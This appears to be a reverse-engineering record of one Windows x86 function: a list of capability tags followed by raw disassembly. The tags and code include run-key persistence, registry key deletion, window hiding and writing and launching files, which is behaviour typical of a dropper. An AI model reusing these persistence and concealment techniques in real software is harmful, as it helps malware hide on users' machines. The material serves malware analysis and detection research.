Function at 0x4115c8
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x4115d0
push ebx
push esi
push edi
mov esi, 0x416adc
mov edi, 0x416b14
mov ebx, 0x416b53
xor eax, eax
push ebp
push 0x412bb0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x412bc8
call fcn.00403780
cmp byte [0x416b54], 0x66
jne 0x41165b
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x412c24
mov edx, 0x412c34
mov eax, 0x80000002
call fcn.00406de8
mov edx, dword [ebp - 4]
mov eax, 0x416ae8
call fcn.00403780
cmp byte [0x416b51], 0
jne 0x41165b
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x416ae8]
call fcn.00406c40
mov byte [ebx], al
mov edx, 0x412c34
mov ecx, 0x412c24
mov eax, 0x80000002
call fcn.0040737c
lea eax, [ebp - 8]
call fcn.00406ab8
mov edx, dword [ebp - 8]
mov eax, 0x416ad8
call fcn.00403780
lea eax, [ebp - 0xc]
call fcn.00406b24
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403780
mov eax, 0x416ae0
mov ecx, 0x412c7c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [0x416ae8]
call fcn.004038a4
test eax, eax
jne 0x4116c6
mov eax, 0x416ae8
mov ecx, 0x412c8c
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x4151e4
mov ecx, dword [0x4151e4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x416ad0
mov ecx, 0x412c9c
mov edx, dword [0x4151e4]
call fcn.004038f0
mov eax, 0x416ad4
mov ecx, 0x412cb0
mov edx, dword [0x4151e4]
call fcn.004038f0
xor eax, eax
mov dword [0x416b58], eax
call fcn.00413e20
mov eax, edi
mov edx, 0x412cc4
call fcn.00403780
cmp byte [0x416b51], 0
je 0x411950
mov eax, 0x412d54
call fcn.00405e08
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00406cd4
lea eax, [ebp - 0x10]
mov ecx, 0x412d6c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x10]
call fcn.00405cac
lea eax, [ebp - 0x14]
mov ecx, 0x412d80
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x14]
call fcn.00405cac
mov eax, dword [0x416ad0]
call fcn.00405cac
mov ecx, 0x412c8c
mov edx, 0x412d94
mov eax, 0x80000002
call fcn.0040737c
mov ecx, 0x412c8c
mov edx, 0x412dcc
mov eax, 0x80000002
call fcn.0040737c
mov ecx, 0x412c8c
mov edx, 0x412e0c
mov eax, 0x80000001
call fcn.0040737c
mov edx, 0x412d94
mov ecx, 0x412e54
mov eax, 0x80000001
call fcn.0040737c
mov edx, 0x412e0c
mov ecx, 0x412e64
mov eax, 0x80000002
call fcn.0040737c
lea eax, [ebp - 0x18]
mov ecx, 0x412e74
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x18]
call fcn.00405cac
lea eax, [ebp - 0x1c]
mov ecx, 0x412e88
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x1c]
call fcn.00405cac
lea eax, [ebp - 0x20]
mov ecx, 0x412e9c
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00405cac
lea eax, [ebp - 0x24]
mov ecx, 0x412eb0
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x24]
call fcn.00405cac
lea eax, [ebp - 0x28]
mov ecx, 0x412ec8
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x28]
call fcn.00405cac
lea eax, [ebp - 0x2c]
mov ecx, 0x412edc
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x2c]
call fcn.00405cac
lea eax, [ebp - 0x30]
mov ecx, 0x412ef0
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x30]
call fcn.00405cac
push 0x412efc
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x412f28
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x412f70
call fcn.00410090
mov eax, 0x412f7c
call fcn.00410090
mov eax, 0x412f88
call fcn.00410090
mov eax, edi
mov edx, 0x412f94
call fcn.00403780
mov eax, dword [0x416ad4]
call fcn.00405cac
push 0x200040
push 0x41301c
push 0x413034
lea edx, [ebp - 0x38]
mov eax, 0x77
call fcn.00405420
push dword [ebp - 0x38]
push 0x413048
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x34]
call fcn.00403aa4
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x412d54
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x3c]
call fcn.00403aa4
push eax
push 0x413060
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405d08
jmp 0x412b92
push 0
mov eax, dword [0x4151e4]
call fcn.00403aa4
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x416b50]
cmp byte [0x416b50], 0
je 0x41198a
call fcn.0040631c
mov eax, edi
mov edx, 0x4130ac
call fcn.00403780
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x4130f0
mov eax, 0x80000002
call fcn.00406d20
push eax
call fcn.00405708
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x412b92
lea edx, [ebp - 0x40]
mov eax, dword [0x416ae8]
call fcn.00405764
mov edx, dword [ebp - 0x40]
mov eax, 0x416aec
call fcn.00403780
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x4130fc
call fcn.004063d8
mov edx, dword [ebp - 0x44]
mov eax, 0x416b18
call fcn.00403780
mov eax, 0x416ae4
mov edx, 0x41312c
call fcn.00403780
lea eax, [ebp - 0x4c]
mov ecx, dword [0x416ae4]
mov edx, 0x413148
call fcn.004038f0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.004063d8
mov edx, dword [ebp - 0x48]
mov eax, 0x416b1c
call fcn.00403780
push 1
push 0x96
push 0x222e1
mov ecx, 0x412e74
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x416ae8]
call fcn.00405990
mov byte [ebx], al
mov ecx, 0x412e74
lea eax, [ebp - 0x54]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x54]
call fcn.00406c40
mov byte [ebx], al
mov eax, edi
mov edx, 0x41315c
call fcn.00403780
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x4131b0
mov eax, 0x80000002
call fcn.00406d20
mov dword [0x416b48], eax
cmp dword [0x416b48], 0x77
jge 0x411b99
cmp byte [ebx], 0
jne 0x411b0b
mov ecx, 0x412e74
lea eax, [ebp - 0x58]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x58]
mov eax, dword [0x416ae8]
call 0xe8415c39
sbb eax, 0x74ffff1f
invalid
mov eax, 0x412e74
call fcn.00405e08
push 1
push 0x96
push 0x222e1
mov ecx, 0x412e74
lea eax, [ebp - 0x5c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x416ae8]
call fcn.00405990
mov byte [ebx], al
mov eax, edi
mov edx, 0x4131c0
call fcn.00403780
cmp byte [ebx], 0
je 0x411b99
push 0x77
push 0x4131b0
mov edx, 0x412c34
mov eax, 0x80000002
pop ecx
call fcn.00406ffc
mov byte [ebx], al
cmp dword [0x416b48], 0
jle 0x411b5f
lea edx, [ebp - 0x60]
mov eax, dword [0x416b48]
call fcn.00405420
mov ecx, dword [ebp - 0x60]
mov eax, 0x416ae4
mov edx, 0x41320c
call fcn.004038f0
jmp 0x411b69
mov eax, 0x416ae4
call fcn.0040372c
push 0x41321c
lea edx, [ebp - 0x68]
mov eax, 0x77
call fcn.00405420
push dword [ebp - 0x68]
push dword [0x416ae4]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x64]
call fcn.00413eb4
mov eax, edi
mov edx, 0x413230
call fcn.00403780
call fcn.00407860
push 1
push 0x96
push 0x222e1
mov ecx, 0x412e88
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x416ae8]
call fcn.00405990
mov byte [ebx], al
mov ecx, 0x412e88
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x70]
call fcn.00406c40
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x412e9c
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038f0
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x416ae8]
call fcn.00405990
mov byte [ebx], al
mov ecx, 0x412e9c
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x78]
call fcn.00406c40
mov byte [ebx], al
mov ecx, 0x412edc
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x7c]
call fcn.00405a3c
test al, al
jne 0x411cd5
push 1
push 0
push 0x222e1
mov ecx, 0x412edc
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x412eb0
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.00405990
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x412ef0
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x412ec8
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.00405990
mov byte [ebx], al
mov ecx, 0x412eb0
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x90]
call fcn.00405a3c
test al, al
jne 0x411d82
push 1
push 0
push 0x222e1
mov ecx, 0x412eb0
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x412edc
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.00405990
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x412ec8
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x412ef0
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.00405990
mov byte [ebx], al
mov eax, dword [0x416ae8]
call fcn.00406c40
mov byte [ebx], al
mov ecx, 0x412eb0
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa4]
call fcn.00406c40
mov byte [ebx], al
mov ecx, 0x412ec8
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xa8]
call fcn.00406c40
mov byte [ebx], al
mov ecx, 0x412edc
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xac]
call fcn.00406c40
mov byte [ebx], al
mov ecx, 0x412ef0
lea eax, [ebp - 0xb0]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb0]
call fcn.00406c40
mov byte [ebx], al
mov eax, edi
mov edx, 0x413264
call fcn.00403780
call fcn.0040eb08
mov eax, 0x412f70
call fcn.0040f23c
mov eax, edi
mov edx, 0x4132a0
call fcn.00403780
mov eax, 0x412f7c
call fcn.0040f23c
mov eax, 0x412f88
call fcn.0040f23c
mov eax, 0x413310
call fcn.0040f23c
mov eax, edi
mov edx, 0x412f94
call fcn.00403780
push 0
push 0
push 0x416b4c
mov ecx, 0x407e44
xor edx, edx
xor eax, eax
call fcn.004036e8
push 0
push 0
push 0x416b4c
mov ecx, 0x407590
xor edx, edx
xor eax, eax
call fcn.004036e8
mov ecx, 0x412e74
mov eax, 0x416ae4
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [0x416ae4]
mov edx, dword [0x416ae8]
call fcn.004039f0
je 0x411ef6
mov ecx, 0x412e88
lea eax, [ebp - 0xb4]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x416ae8]
call fcn.004039f0
je 0x411ef6
mov ecx, 0x412e9c
lea eax, [ebp - 0xb8]
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x416ae8]
call fcn.004039f0
jne 0x411f02
mov eax, 0x416ae4
call fcn.0040372c
jmp 0x411f17
mov eax, 0x416ae4
mov ecx, dword [0x416ae8]
mov edx, 0x41331c
call fcn.004038f0
mov al, byte [0x416b54]
sub al, 0x64
je 0x411f2a
dec al
je 0x411f41
dec al
je 0x411f58
jmp 0x411f6d
mov eax, 0x416ae4
mov ecx, dword [0x416ae4]
mov edx, 0x413328
call fcn.004038f0
jmp 0x411f6d
mov eax, 0x416ae4
mov ecx, dword [0x416ae4]
mov edx, 0x413334
call fcn.004038f0
jmp 0x411f6d
mov eax, 0x416ae4
mov ecx, dword [0x416ae4]
mov edx, 0x413340
call fcn.004038f0
lea eax, [ebp - 0xbc]
mov ecx, dword [0x416ae4]
mov edx, 0x413350
call fcn.004038f0
mov eax, dword [ebp - 0xbc]
call fcn.00413eb4
mov ecx, 0x412c34
mov eax, 0x416b6c
mov edx, 0x80000002
call fcn.0040717c
test al, al
jne 0x411fcd
mov ecx, 0x412c34
mov eax, 0x416b6c
mov edx, 0x80000002
call fcn.0040717c
test al, al
jne 0x411fcd
mov eax, 0x413360
call fcn.00413eb4
jmp 0x412b92
mov eax, edi
mov edx, 0x413378
call fcn.00403780
push dword [esi]
push 0x4133e0
push 0x4133f0
mov eax, 0x416b04
mov edx, 3
call fcn.00403964
mov eax, dword [0x416b04]
call fcn.00405a3c
test al, al
jne 0x41206e
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xc0]
mov ecx, 0x413400
mov edx, dword [esi]
call fcn.004038f0
mov eax, dword [ebp - 0xc0]
mov cl, 1
mov edx, dword [0x416b04]
call fcn.00405990
test al, al
je 0x41205a
lea eax, [ebp - 0xc4]
mov ecx, dword [0x416b04]
mov edx, 0x413418
call fcn.004038f0
mov eax, dword [ebp - 0xc4]
call fcn.00413eb4
jmp 0x41206e
mov eax, 0x413434
call fcn.00413eb4
mov eax, 0x416b04
call fcn.0040372c
mov eax, edi
mov edx, 0x413444
call fcn.00403780
mov eax, dword [0x416b04]
call fcn.004038a4
test eax, eax
jle 0x41226e
mov eax, 0x416b0c
mov ecx, 0x4134d0
mov edx, dword [esi]
call fcn.004038f0
mov eax, 0x416b08
mov edx, 0x4134e4
call fcn.00403780
lea eax, [ebp - 0xc8]
mov ecx, 0x4134f8
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xc8]
call fcn.00405a3c
test al, al
je 0x4120e0
mov eax, 0x416b08
mov edx, 0x413508
call fcn.004038ac
lea eax, [ebp - 0xcc]
mov ecx, 0x413518
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xcc]
call fcn.00405a3c
test al, al
je 0x412114
mov eax, 0x416b08
mov edx, 0x413528
call fcn.004038ac
lea eax, [ebp - 0xd0]
mov ecx, 0x413538
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd0]
call fcn.00405a3c
test al, al
je 0x412148
mov eax, 0x416b08
mov edx, 0x413548
call fcn.004038ac
lea eax, [ebp - 0xd4]
mov ecx, 0x413558
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd4]
call fcn.00405a3c
test al, al
je 0x41217c
mov eax, 0x416b08
mov edx, 0x413568
call fcn.004038ac
lea eax, [ebp - 0xd8]
mov ecx, 0x413578
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xd8]
call fcn.00405a3c
test al, al
je 0x4121b0
mov eax, 0x416b08
mov edx, 0x413588
call fcn.004038ac
lea eax, [ebp - 0xdc]
mov ecx, 0x413598
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xdc]
call fcn.00405a3c
test al, al
je 0x4121e4
mov eax, 0x416b08
mov edx, 0x4135a8
call fcn.004038ac
lea eax, [ebp - 0xe0]
mov ecx, 0x4135b8
mov edx, dword [0x416b0c]
call fcn.004038f0
mov eax, dword [ebp - 0xe0]
call fcn.00405a3c
test al, al
je 0x412218
mov eax, 0x416b08
mov edx, 0x4135c8
call fcn.004038ac
mov eax, dword [0x416b08]
mov edx, 0x4135d8
call fcn.004039f0
jne 0x412235
mov eax, 0x413608
call fcn.00413eb4
jmp 0x412256
lea eax, [ebp - 0xe4]
mov ecx, dword [0x416b08]
mov edx, 0x413618
call fcn.004038f0
mov eax, dword [ebp - 0xe4]
call fcn.00413eb4
push 0
mov ecx, 0x413628
mov edx, 0x413638
mov eax, 0x80000001
call fcn.00406ffc
jmp 0x412278
mov eax, 0x416b08
call fcn.0040372c
cmp byte [0x416b50], 0
jne 0x4122cc
push 0x1f40
call sub.kernel32.dll_Sleep
push 0x413650
push 0
call sub.user32.dll_FindWindowA
mov dword [0x416b4c], eax
cmp dword [0x416b4c], 0
jne 0x4122b6
push 0x413668
push 0
call sub.user32.dll_FindWindowA
mov dword [0x416b4c], eax
cmp dword [0x416b4c], 0
jbe 0x4122cc
push 0
mov eax, dword [0x416b4c]
push eax
call sub.user32.dll_ShowWindow
mov eax, 0x416ae4
mov edx, 0x413688
call fcn.00403780
lea edx, [ebp - 0xec]
mov eax, 0x4136cc
call fcn.004063d8
mov ecx, dword [ebp - 0xec]
lea eax, [ebp - 0xe8]
mov edx, dword [0x416ae8]
call fcn.004038f0
mov eax, dword [ebp - 0xe8]
push eax
lea eax, [ebp - 0xf8]
mov ecx, 0x4136f0
mov edx, dword [0x416ae4]
call fcn.004038f0
mov eax, dword [ebp - 0xf8]
lea edx, [ebp - 0xf4]
call fcn.004063d8
mov ecx, dword [ebp - 0xf4]
lea eax, [ebp - 0xf0]
mov edx, 0x413714
call fcn.004038f0
mov edx, dword [ebp - 0xf0]
mov ecx, dword [0x416ae8]
mov eax, 0x80000002
call fcn.00406ed4
mov eax, edi
mov edx, 0x413740
call fcn.00403780
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x4137c8
mov eax, 0x80000002
call fcn.00406d20
mov dword [0x416b30], eax
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x4137d8
mov eax, 0x80000002
call fcn.00406d20
mov dword [0x416b40], eax
cmp dword [0x416b40], 0x64
jge 0x412580
mov eax, dword [0x41524c]
push eax
push 0x400
lea eax, [ebp - 0x100]
push eax
mov edx, 0x412c34
mov ecx, 0x4137e8
mov eax, 0x80000002
call fcn.00406de8
mov eax, dword [ebp - 0x100]
lea edx, [ebp - 0xfc]
call fcn.004054e4
mov edx, dword [ebp - 0xfc]
mov eax, 0x416afc
call fcn.00403780
mov eax, dword [0x416afc]
call fcn.004038a4
test eax, eax
je 0x412415
mov eax, dword [0x416afc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x412424
mov eax, 0x416afc
mov edx, 0x4137f8
call fcn.00403780
push 0x100002
mov eax, 0x416c64
mov ecx, 1
mov edx, dword [0x407570]
call fcn.00404230
add esp, 4
mov eax, dword [0x416afc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x41255c
lea eax, [ebp - 0x104]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0x104]
mov edx, 0x413804
call fcn.004038ac
mov eax, dword [ebp - 0x104]
call fcn.00403aa4
push eax
call fcn.0040478c
add eax, 0xfffffffe
sub eax, 3
jb 0x412490
sub eax, 1
jne 0x41254b
xor eax, eax
mov dword [0x416b34], eax
lea eax, [ebp - 0x108]
mov edx, ebx
call fcn.0040384c
lea eax, [ebp - 0x108]
mov edx, 0x413804
call fcn.004038ac
mov eax, dword [ebp - 0x108]
call fcn.0040b7f8
lea eax, [ebp - 0x110]
mov edx, ebx
call fcn.0040384c
mov ecx, dword [ebp - 0x110]
lea eax, [ebp - 0x10c]
mov edx, 0x413810
call fcn.004038f0
mov eax, dword [ebp - 0x10c]
call fcn.00413eb4
mov eax, edi
mov edx, 0x413378
call fcn.00403780
lea eax, [ebp - 0x114]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040384c
mov eax, dword [ebp - 0x114]
push eax
push 0x4137e8
mov edx, 0x412c34
mov eax, 0x80000002
pop ecx
call fcn.00406ed4
push 0
push 0x4137c8
mov edx, 0x412c34
mov eax, 0x80000002
pop ecx
call fcn.00406ffc
cmp bl, 0x63
jne 0x41254b
mov eax, 0x413824
call fcn.00413eb4
xor eax, eax
mov dword [0x416b30], eax
dec ebx
cmp bl, 0x62
jne 0x412451
mov dword [0x416b40], 0x64
mov eax, dword [0x416b40]
push eax
mov ecx, 0x4137d8
mov edx, 0x412c34
mov eax, 0x80000002
call fcn.00406ffc
mov eax, edi
mov edx, 0x413838
call fcn.00403780
cmp dword [0x416b40], 0xc8
jge 0x41263c
cmp byte [0x416b54], 0x66
jne 0x4125ac
mov byte [0x4151d8], 0
xor eax, eax
mov dword [0x416b38], eax
mov eax, edi
mov edx, 0x4138a0
call fcn.00403780
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x4138f8
mov eax, 0x80000002
call fcn.00406d20
mov dword [0x416b3c], eax
push 0x100002
mov eax, 0x416c64
mov ecx, 1
mov edx, dword [0x407570]
call fcn.00404230
add esp, 4
xor eax, eax
call fcn.0040c02c
mov dword [0x416b40], 0xc8
mov eax, dword [0x416b40]
push eax
mov ecx, 0x4137d8
mov edx, 0x412c34
mov eax, 0x80000002
call fcn.00406ffc
mov eax, 0x413908
call fcn.00413eb4
mov eax, edi
mov edx, 0x413920
call fcn.00403780
push 0
mov eax, 0x416c64
mov ecx, 1
mov edx, dword [0x407570]
call fcn.00404230
add esp, 4
mov eax, edi
mov edx, 0x413974
call fcn.00403780
mov eax, 0x416b6c
call fcn.00407200
mov eax, dword [0x416aec]
call fcn.004038a4
test eax, eax
jne 0x4126be
lea edx, [ebp - 0x118]
mov eax, dword [0x416ae8]
call fcn.00405764
mov edx, dword [ebp - 0x118]
mov eax, 0x416aec
call fcn.00403780
mov eax, dword [0x416aec]
call fcn.004038a4
test eax, eax
jne 0x4126be
call fcn.0040a038
jmp 0x412b92
cmp byte [0x416b54], 0x64
jne 0x4126d1
call fcn.00413d64
call fcn.004035c0
mov byte [0x4151d8], 0
mov eax, dword [0x41524c]
push eax
mov edx, 0x412c34
mov ecx, 0x413a60
mov eax, 0x80000002
call fcn.00406d20
dec eax
je 0x4127a1
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x416ad0]
call fcn.00403aa4
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x416b5c], eax
push 2
push 0
push 0
mov eax, dword [0x416b5c]
push eax
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x11c]
call fcn.004080d8
mov edx, dword [ebp - 0x11c]